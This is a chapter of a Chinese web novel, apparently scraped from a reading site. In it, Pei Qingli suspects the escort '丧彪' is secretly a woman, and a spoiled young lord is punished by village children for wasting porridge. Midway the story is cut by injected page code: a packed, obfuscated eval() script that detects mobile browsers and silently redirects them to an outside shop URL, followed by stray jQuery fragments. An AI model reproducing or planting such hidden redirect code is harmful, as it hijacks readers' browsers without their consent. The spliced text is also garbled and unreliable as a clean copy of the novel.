文趣网 > 其他小说 > 别闹,夫君他茶香四溢 > 4. 丧彪是女儿身?
    霍长容侧目,有些讶异。

    在大祁活了十八载,她相识的人中,极少有男子愿意在女儿家事上花心思。

    原来除了她的哥哥们,其他哥哥也会帮妹妹扎小辫啊。

    这个金谷一副柔弱不能自理,四体不勤五谷不分的纨绔公子哥模样,她还以为金谷跟其他男子一样,不屑也懒得跟姊妹女眷亲近呢。

    今日看来,是她狭隘,以貌取人了。

    “你啊,都多大人了,还成日逗弄人。”

    “幸亏有金谷公子在,不然我看你怎么哄好虎妞。”

    闻声赶来的颜圆,无奈叹气。

    颜圆塞了一块肉干进虎妞手里,虎妞咧着嘴,昂着下巴,跟其他小崽子们炫耀去了。

    “跟小娃娃玩闹,就是要趁早,待他们长大了,就不好玩了。”

    霍长容梗着脖子,毫不心虚。

    她下次还敢。

    “真拿你没办法。”

    “擦擦,都出汗了。”

    拿出帕子,颜圆轻柔帮着霍长容擦掉额头上的汗。

    “嘿嘿,还是你心疼我。”

    颜圆只到霍长容心口高,怕颜圆累着,霍长容弯下腰,享受着好友帮自己擦汗。

    “赶了一天路,饿坏了吧,先吃点糕点垫垫,村长他们安排人准备夕食了。”

    喂了一块芋头糕进霍长容嘴里,颜圆又接着帮人擦汗。

    霍长容嘻嘻哈哈两口咽下了。

    “天晚了,我安排人带你们去歇息。”

    “记住恶人村恶狗多,不想被咬,晚上少出门。”

    瞥了一眼裴卿礼,还有躲在门口看戏的傅之珩,霍长容手一挥,利索安排好一切。

    跟着恶人村的村民来到一间屋子,傅之珩嘴角耷拉。

    “这什么破地方,窗纸泛黄便罢了,被子还打补丁,床榻也很硬。从小到大,我就没睡过这么寒酸的屋子。”

    傅之珩不敢大声责骂,只能小声嘟囔抱怨。

    “若不然,你去荒郊野外歇息?破庙的菩萨佛祖会保佑你的。”

    裴卿礼不理会嘴碎的傅之珩,用院中的井水冲洗之后,舒服躺在床榻上闭目歇息。

    “我就说说而已。”

    傅之珩扁嘴。

    架不住一天奔波,学着裴卿礼的模样,让随从打了水洗漱。

    “都说英雄难过美人关,可我瞧着那个颜小姐,虽长得白净,但憨憨胖胖,一身的肥膘,哪里有美人风韵?”

    “偏偏丧彪一副乐在其中的模样,实在是令人作呕。依我看,这恶霸配肥妞,天生一对。”

    躺在板硬的床榻上,傅之珩翻来覆去睡不着,拉扯着裴卿礼说话。

    “慎言,莫坏了人家姑娘的名声。”

    昏昏欲睡的裴卿礼随手扯了一个竹枕,塞到傅之珩怀中。

    妄议他人,非君子所为。

    虽说他们是纨绔,但也不可当嘴碎的纨绔。

    吃相难看。

    “他们都当着旁人的面卿卿我我,自己不检点,还不让我说啊。”

    傅之珩抱着散发竹子清香的枕头,低喃几句之后,竟慢慢睡着了。

    甚至还打起了鼾。

    傅之珩的话,在裴卿礼耳朵嗡嗡响,这回轮到裴卿礼睡不着了。

    据他所知,丧彪此番去京城,明面上是为了护送颜小姐探亲,实则是相看。

    虽说他跟丧彪相处时日不长,但看得出来,丧彪对女子守礼得很。

    丧彪虽贪财,可深谙男女授受不亲之礼,不曾出言轻薄,更不曾对女子动手动脚欲行不轨。

    可丧彪唯独对那个颜小姐……

    擦汗、喂食,举止过于亲密了些。

    着实不妥啊。

    裴卿礼翻了个身,眉头越拧越紧。

    不对劲。

    这很不对劲。

    明知不可为还不避嫌,难道……

    丧彪是女儿身?!

    黑暗中,裴卿礼惊从床榻起。

    可丧彪身高七尺有余,虽才到他肩膀,但也比寻常男子高。

    且丧彪不擦口脂,不穿耳孔,不涂蔻丹。

    就连走路,也跟男子无异。

    这样的丧彪,真的是女子吗?

    “咕咕咕……”

    “呱呱呱……”

    屋外传来子规啼叫,夹杂着蛙叫,裴卿礼转辗反侧,愈发睡不着了。

    掀开被子,裴卿礼干脆起身出房门,消失在黑夜中。

    一个时辰之后,裴卿礼才疲倦回来。

    咚咚咚——

    翌日清晨,门外传来敲门声。

    “两位公子,村长让我给二位送朝食来了。”

    吱——

    裴卿礼压下困意,给来人开了门。

    “劳烦小兄弟了。”

    看着不到自己腰高的小铁锤拎着一个竹篮,熟练分发碗筷,裴卿礼困意消散,饶有兴致跟人闲话家常。

    饿了一天的傅之珩,就着木汤匙吃了一口稀粥,粥才入口,傅之珩就苦着脸吐了出来。

    “呸呸呸,这是人吃的东西吗?猪食都不过如此!”

    傅之珩气得连碗带粥丢在地上,甚至还把装着小菜的竹篮一并踢翻了。

    粥水撒地,篮中的酸竹笋、咸萝卜沾满了尘土,小铁锤心疼坏了。

    “你这人怎不识好歹!居然糟蹋粮食!”

    “我要告诉少东家,你这个坏蛋,我们恶人村不欢迎你!”

    铁锤跺脚,扭头就去告状。

    “不就是一碗清汤寡水的粥而已,至于这般兴师动众嘛。公子我有的是银子,我就不信了,有钱还不能让鬼推磨!”

    看到铁锤离开去告状,傅之珩依然嘴硬,可却下意识缩着脖子,手紧紧捏着荷包,手心也开始冒汗。

    “在你眼中,这或许只是一碗粥,但在他们眼中,这是金贵的粮食,是可以救命的宝贝。”

    “哪怕是一粒米,都不能浪费糟蹋。”

    裴卿礼冷眉沉声。

    他昨夜“夜访”恶人村,发现村中大多是些老人、妇孺,还有一些身残的退卒。

    村里靠着种田谋生,闲暇之余还会就地取材,用竹子编织小玩意儿换些针头线脑。

    丧彪的镖局,每次路过恶人村,都会带些稻米、果肉、布匹,发放给村民。

    老有所依,幼有所养。

    丧彪甚至还在村中建学堂,请夫子给娃娃上授课。

    丧彪得的那些银两,五之有一花在了这个恶人村。

    明明是贪财之人,可偏偏行的却是义举。

    裴卿礼看着不远处,蹲在树下跟虎妞还有其他娃娃喝粥吃咸萝卜酸笋的人,心情有些复杂。

    如果丧彪真如同他猜测的那般,是女儿身……

    他,自愧不如。

    “岂有此理!”

    “太过分了!”

    “揍他!”

    ……</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811407|210852||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    不远处那一声声充斥着怒意的声音,打断了裴卿礼的种种猜测。

    等裴卿礼再眨眼时,看到的就是铁锤一顿“指手画脚”,刚刚还在嘻嘻哈哈喝粥的人,一个个拎着拳头,迎面快步走来。

    裴卿礼数了数,一大六小。

    给了傅之珩一个自求多福的眼神,裴卿礼识趣挪到一旁,把在屋内忐忑不安的傅之珩暴露在众人面前。

    “你把粥泼在地上,还说这是猪食?”

    霍长容拳头咔咔响,铁着脸,阴仄仄看着傅之珩。

    “误会,都是误会。”

    傅之珩吓得咽了咽口水,腿一软,跌坐在凳子上。

    “误会?呵。”

    “铁锤亲眼所见,你跟我说这是误会?!”

    霍长容面无表情后退两步,把位置让出来。

    “孩儿们,好好教教银田公子,让他知道糟蹋粮食的下场!”

    霍长容手一挥,六个小孩拎着拳头就将傅之珩包围。

    “啊!我错了,我以后再也不糟蹋粮食了。”

    “小祖宗们,饶了我吧,我再也不敢说这是猪食了。”

    “是我嘴臭,我赔银子还不成吗?”

    ……

    整个屋子,充斥着傅之珩的哀嚎。

    听到“银子”二字,霍长容耳朵抖了抖。

    眼睛滴溜溜一转,霍长容轻咳两声。

    “咳咳,孩儿们,既然他知错了,暂且饶了他这一回。毕竟人非圣贤孰能无过,咱们还是要给他一个改过的机会。”

    “若他下次再犯,咱们决不轻饶。”

    从小孩堆中把傅之珩捞出来,霍长容眼睛黏在傅之珩腰间的荷包上。

    这纨绔公子哥身上,到底还有多少个荷包?

    眼看着天越来越热了,且一路舟车劳顿,身上带那么多荷包怪累的。

    她就不一样了。

    她皮糙肉厚,不怕累。

    霍长容决定好了,这一路,她会替银田公子好好“保管”荷包的。

    她苦点累点无妨,就是见不得旁人受累。

    “我们都听少东家的。”

    铁锤几人意犹未尽收手收脚,簇拥着霍长容离开。

    得以解脱,傅之珩大口大口喘气。

    “果然是近朱者赤近墨者黑,哼,那个丧彪蛮横霸道,跟丧彪凑一起的小兔崽子也一个个粗鲁不堪。”

    挨骂挨打,还赔了银钱,傅之珩忿忿不平。

    可人在屋檐下不得不低头,傅之珩哪怕再怨恨,也不敢高声呵斥恶人村,满腹的委屈只敢说给裴卿礼听。

    裴卿礼倚靠在门边,耳朵听着傅之珩的抱怨,但脑子却在想着另一个人。

    刚趁着混乱,他一直留意着丧彪。

    他看得清楚,丧彪跟他一样,脖子上亦有高结。

    如此看来,丧彪应是男儿。

    可……

    裴卿礼还是觉得不对劲。

    抬脚,裴卿礼就往外走。

    既然丧彪身上还存在种种疑点,那就从丧彪身边之人入手。

    “我还没说完呢,你去哪啊?”

    傅之珩絮絮叨叨抱怨了一盏茶,嘴巴都干了,还是没停下来。

    眼看着裴卿礼走远,傅之珩不敢一个人待着,遂跟了上去。

    “找铁锤玩陀螺。”

    留下一句话,裴卿礼大步朝村口的大树走去。

    那里,会有他想要的真相。